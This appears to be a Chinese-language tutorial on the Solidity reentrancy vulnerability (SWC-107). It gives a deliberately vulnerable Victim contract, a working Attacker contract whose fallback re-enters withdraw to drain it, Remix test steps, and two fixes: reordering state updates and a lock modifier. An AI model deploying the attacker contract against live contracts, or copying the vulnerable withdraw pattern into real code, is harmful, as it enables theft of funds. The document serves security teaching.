智能合约安全-可重入攻击(SW107-Reentrancy)

攻击名称

可重入攻击(Reentrancy)

攻击分类CWE-841

代码实现与预期行为不一致

攻击描述

主要的风险就是调用外部合约会接管合约的控制流。在可重入攻击中，恶意合约在被攻击合约的第一个函数执行完成前在再次调用合约，这可能导致函数调用与预期行为不一致。核心流程与原理如下:

合约案例

完整代码和文档.

被攻击合约

// SPDX-License-Identifier: GPL-3.0pragma solidity ^0.6.10;contract Victim {    mapping(address=> uint256) public balances;    function deposit() public payable{        balances[msg.sender] += msg.value;    }    function withdraw(uint256 amount) public {        require(balances[msg.sender] >= amount);        (bool success,) = msg.sender.call{value:amount}("");        require(success, "Fail to send ether!");        balances[msg.sender] -= amount;    }    function getBalance() public view returns(uint){        return address(this).balance;    }}

攻击合约

contract Attacker{    Victim public victim;    constructor(address _victimAddr) public {        victim = Victim(_victimAddr);    }    function beginAttack() external payable{        require(msg.value >= 1 ether);        victim.deposit{value: 1 ether}();        victim.withdraw(1 ether);    }    fallback() external payable{        //死循环的话一毛也取不到        if (address(victim).balance >= 1 ether) {            victim.withdraw(1 ether);        }    }    function getBalance() public view returns(uint){        return address(this).balance;    }}

操作示例

1. 采用Remix账户1部署Victim合约，然后调用deposit存入4个ETH
2. 采用Remix账户1部署Attacker合约，然后调用beginAttack并传入1个ETH
3. Victim合约GetBalance: 0, Attacker合约GetBalance 5

防止策略

1. 切换存储更新和外部调用的顺序，防止启用攻击的重新进入条件。遵循“检查-效果-相互作用”设计模式。

contract Victim{    ...    function withdraw(uint256 amount) public {        require(balances[msg.sender] >= amount);        balances[msg.sender] -= amount;        (bool success,) = msg.sender.call{value:amount}("");        require(success, "Fail to send ether!");     }

2.加锁。

    bool internal locked;    modifier noReentrant(){        require(!locked, "No re-entrancy!");        locked = true;        _;        locked = false;    }    function withdraw(uint256 amount) public noReentrant{        require(balances[msg.sender] >= amount);        (bool success,) = msg.sender.call{value:amount}("");        require(success, "Fail to send ether!");        balances[msg.sender] -= amount;    }